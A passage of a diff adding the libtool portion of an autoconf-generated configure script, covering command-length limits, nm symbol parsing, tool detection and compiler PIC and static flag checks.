freebsd* | openbsd* | darwin* ) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for *BSD + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + ;; + + *) + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/null` \ + = "XX$teststring") >/dev/null 2>&1 && + new_result=`expr "X$teststring" : ".*" 2>&1` && + lt_cv_sys_max_cmd_len=$new_result && + test $i != 17 # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + teststring= + # Add a significant safety factor because C++ compilers can tack on massive + # amounts of additional arguments before passing them to the linker. + # It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + ;; + esac + +fi + +if test -n $lt_cv_sys_max_cmd_len ; then + echo "$as_me:$LINENO: result: $lt_cv_sys_max_cmd_len" >&5 +echo "${ECHO_T}$lt_cv_sys_max_cmd_len" >&6 +else + echo "$as_me:$LINENO: result: none" >&5 +echo "${ECHO_T}none" >&6 +fi + + + + +# Check for command to grab the raw symbol name followed by C symbol from nm. +echo "$as_me:$LINENO: checking command to parse $NM output from $compiler object" >&5 +echo $ECHO_N "checking command to parse $NM output from $compiler object... $ECHO_C" >&6 +if test "${lt_cv_sys_global_symbol_pipe+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[BCDEGRST]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([_A-Za-z][_A-Za-z0-9]*\)' + +# Transform the above into a raw symbol and a C symbol. +symxfrm='\1 \2\3 \3' + +# Transform an extracted symbol line into a proper C declaration +lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[BCDT]' + ;; +cygwin* | mingw* | pw32*) + symcode='[ABCDGISTW]' + ;; +hpux*) # Its linker distinguishes data from code symbols + if test "$host_cpu" = ia64; then + symcode='[ABCDEGRST]' + fi + lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" + lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + ;; +irix* | nonstopux*) + symcode='[BCDEGRST]' + ;; +osf*) + symcode='[BCDEGQRST]' + ;; +solaris* | sysv5*) + symcode='[BDRT]' + ;; +sysv4) + symcode='[DFNSTU]' + ;; +esac + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[ABCDGIRSTW]' ;; +esac + +# Try without a prefix undercore, then with it. +for ac_symprfx in "" "_"; do + + # Write the raw and C identifiers. + lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*\($ac_symprfx\)$sympat$opt_cr$/$symxfrm/p'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext <<EOF +#ifdef __cplusplus +extern "C" { +#endif +char nm_test_var; +void nm_test_func(){} +#ifdef __cplusplus +} +#endif +int main(){nm_test_var='a';nm_test_func();return(0);} +EOF + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Now try to grab the symbols. + nlist=conftest.nm + if { (eval echo "$as_me:$LINENO: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\"") >&5 + (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if grep ' nm_test_var$' "$nlist" >/dev/null; then + if grep ' nm_test_func$' "$nlist" >/dev/null; then + cat <<EOF > conftest.$ac_ext +#ifdef __cplusplus +extern "C" { +#endif + +EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext' + + cat <<EOF >> conftest.$ac_ext +#if defined (__STDC__) && __STDC__ +# define lt_ptr_t void * +#else +# define lt_ptr_t char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +const struct { + const char *name; + lt_ptr_t address; +} +lt_preloaded_symbols[] = +{ +EOF + $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext + cat <<\EOF >> conftest.$ac_ext + {0, (lt_ptr_t) 0} +}; + +#ifdef __cplusplus +} +#endif +EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_save_LIBS="$LIBS" + lt_save_CFLAGS="$CFLAGS" + LIBS="conftstm.$ac_objext" + CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag" + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext}; then + pipe_works=yes + fi + LIBS="$lt_save_LIBS" + CFLAGS="$lt_save_CFLAGS" + else + echo "cannot find nm_test_func in $nlist" >&5 + fi + else + echo "cannot find nm_test_var in $nlist" >&5 + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5 + fi + else + echo "$progname: failed program was:" >&5 + cat conftest.$ac_ext >&5 + fi + rm -f conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test "$pipe_works" = yes; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done + +fi + +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + echo "$as_me:$LINENO: result: failed" >&5 +echo "${ECHO_T}failed" >&6 +else + echo "$as_me:$LINENO: result: ok" >&5 +echo "${ECHO_T}ok" >&6 +fi + +echo "$as_me:$LINENO: checking for objdir" >&5 +echo $ECHO_N "checking for objdir... $ECHO_C" >&6 +if test "${lt_cv_objdir+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null +fi +echo "$as_me:$LINENO: result: $lt_cv_objdir" >&5 +echo "${ECHO_T}$lt_cv_objdir" >&6 +objdir=$lt_cv_objdir + + + + + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='sed -e s/^X//' +sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g' + +# Same as above, but do not quote variable references. +double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g' + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +# Constants: +rm="rm -f" + +# Global variables: +default_ofile=libtool +can_build_shared=yes + +# All known linkers require a `.a' archive for static linking (except M$VC, +# which needs '.lib'). +libext=a +ltmain="$ac_aux_dir/ltmain.sh" +ofile="$default_ofile" +with_gnu_ld="$lt_cv_prog_gnu_ld" + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args. +set dummy ${ac_tool_prefix}ar; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_AR+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$AR"; then + ac_cv_prog_AR="$AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_AR="${ac_tool_prefix}ar" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +AR=$ac_cv_prog_AR +if test -n "$AR"; then + echo "$as_me:$LINENO: result: $AR" >&5 +echo "${ECHO_T}$AR" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$ac_cv_prog_AR"; then + ac_ct_AR=$AR + # Extract the first word of "ar", so it can be a program name with args. +set dummy ar; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_AR+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_AR"; then + ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_AR="ar" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + + test -z "$ac_cv_prog_ac_ct_AR" && ac_cv_prog_ac_ct_AR="false" +fi +fi +ac_ct_AR=$ac_cv_prog_ac_ct_AR +if test -n "$ac_ct_AR"; then + echo "$as_me:$LINENO: result: $ac_ct_AR" >&5 +echo "${ECHO_T}$ac_ct_AR" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + AR=$ac_ct_AR +else + AR="$ac_cv_prog_AR" +fi + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + echo "$as_me:$LINENO: result: $RANLIB" >&5 +echo "${ECHO_T}$RANLIB" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + + test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=":" +fi +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 +echo "${ECHO_T}$ac_ct_RANLIB" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + RANLIB=$ac_ct_RANLIB +else + RANLIB="$ac_cv_prog_RANLIB" +fi + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_STRIP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + echo "$as_me:$LINENO: result: $STRIP" >&5 +echo "${ECHO_T}$STRIP" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + + test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":" +fi +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5 +echo "${ECHO_T}$ac_ct_STRIP" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + STRIP=$ac_ct_STRIP +else + STRIP="$ac_cv_prog_STRIP" +fi + + +old_CC="$CC" +old_CFLAGS="$CFLAGS" + +# Set sane defaults for various variables +test -z "$AR" && AR=ar +test -z "$AR_FLAGS" && AR_FLAGS=cru +test -z "$AS" && AS=as +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$DLLTOOL" && DLLTOOL=dlltool +test -z "$LD" && LD=ld +test -z "$LN_S" && LN_S="ln -s" +test -z "$MAGIC_CMD" && MAGIC_CMD=file +test -z "$NM" && NM=nm +test -z "$SED" && SED=sed +test -z "$OBJDUMP" && OBJDUMP=objdump +test -z "$RANLIB" && RANLIB=: +test -z "$STRIP" && STRIP=: +test -z "$ac_objext" && ac_objext=o + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + openbsd*) + old_postinstall_cmds="\$RANLIB -t \$oldlib~$old_postinstall_cmds" + ;; + *) + old_postinstall_cmds="\$RANLIB \$oldlib~$old_postinstall_cmds" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" +fi + +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# Only perform the check for file, if the check method requires it +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + echo "$as_me:$LINENO: checking for ${ac_tool_prefix}file" >&5 +echo $ECHO_N "checking for ${ac_tool_prefix}file... $ECHO_C" >&6 +if test "${lt_cv_path_MAGIC_CMD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/${ac_tool_prefix}file; then + lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac +fi + +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5 +echo "${ECHO_T}$MAGIC_CMD" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + echo "$as_me:$LINENO: checking for file" >&5 +echo $ECHO_N "checking for file... $ECHO_C" >&6 +if test "${lt_cv_path_MAGIC_CMD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/file; then + lt_cv_path_MAGIC_CMD="$ac_dir/file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <<EOF 1>&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac +fi + +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5 +echo "${ECHO_T}$MAGIC_CMD" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + else + MAGIC_CMD=: + fi +fi + + fi + ;; +esac + +enable_dlopen=no +enable_win32_dll=no + +# Check whether --enable-libtool-lock or --disable-libtool-lock was given. +if test "${enable_libtool_lock+set}" = set; then + enableval="$enable_libtool_lock" + +fi; +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + + +# Check whether --with-pic or --without-pic was given. +if test "${with_pic+set}" = set; then + withval="$with_pic" + pic_mode="$withval" +else + pic_mode=default +fi; +test -z "$pic_mode" && pic_mode=default + +# Use C for the default configuration in the libtool script +tagname= +lt_save_CC="$CC" +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +objext=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}\n' + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# +# Check for any special shared library compilation flags. +# +lt_prog_cc_shlib= +if test "$GCC" = no; then + case $host_os in + sco3.2v5*) + lt_prog_cc_shlib='-belf' + ;; + esac +fi +if test -n "$lt_prog_cc_shlib"; then + { echo "$as_me:$LINENO: WARNING: \`$CC' requires \`$lt_prog_cc_shlib' to build shared libraries" >&5 +echo "$as_me: WARNING: \`$CC' requires \`$lt_prog_cc_shlib' to build shared libraries" >&2;} + if echo "$old_CC $old_CFLAGS " | grep "[ ]$lt_prog_cc_shlib[ ]" >/dev/null; then : + else + { echo "$as_me:$LINENO: WARNING: add \`$lt_prog_cc_shlib' to the CC or CFLAGS env variable and reconfigure" >&5 +echo "$as_me: WARNING: add \`$lt_prog_cc_shlib' to the CC or CFLAGS env variable and reconfigure" >&2;} + lt_cv_prog_cc_can_build_shared=no + fi +fi + + +# +# Check to make sure the static flag actually works. +# +echo "$as_me:$LINENO: checking if $compiler static flag $lt_prog_compiler_static works" >&5 +echo $ECHO_N "checking if $compiler static flag $lt_prog_compiler_static works... $ECHO_C" >&6 +if test "${lt_prog_compiler_static_works+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_static_works=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS $lt_prog_compiler_static" + printf "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&5 + else + lt_prog_compiler_static_works=yes + fi + fi + $rm conftest* + LDFLAGS="$save_LDFLAGS" + +fi +echo "$as_me:$LINENO: result: $lt_prog_compiler_static_works" >&5 +echo "${ECHO_T}$lt_prog_compiler_static_works" >&6 + +if test x"$lt_prog_compiler_static_works" = xyes; then + : +else + lt_prog_compiler_static= +fi + + + + +lt_prog_compiler_no_builtin_flag= + +if test "$GCC" = yes; then + lt_prog_compiler_no_builtin_flag=' -fno-builtin' + + +echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 +echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions... $ECHO_C" >&6 +if test "${lt_cv_prog_compiler_rtti_exceptions+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_rtti_exceptions=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="-fno-rtti -fno-exceptions" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:6428: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:6432: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_cv_prog_compiler_rtti_exceptions=yes + fi + fi + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6 + +if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then + lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions" +else + : +fi + +fi + +lt_prog_compiler_wl= +lt_prog_compiler_pic= +lt_prog_compiler_static= + +echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6 + + if test "$GCC" = yes; then + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_static='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + ;; + + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + else + lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + 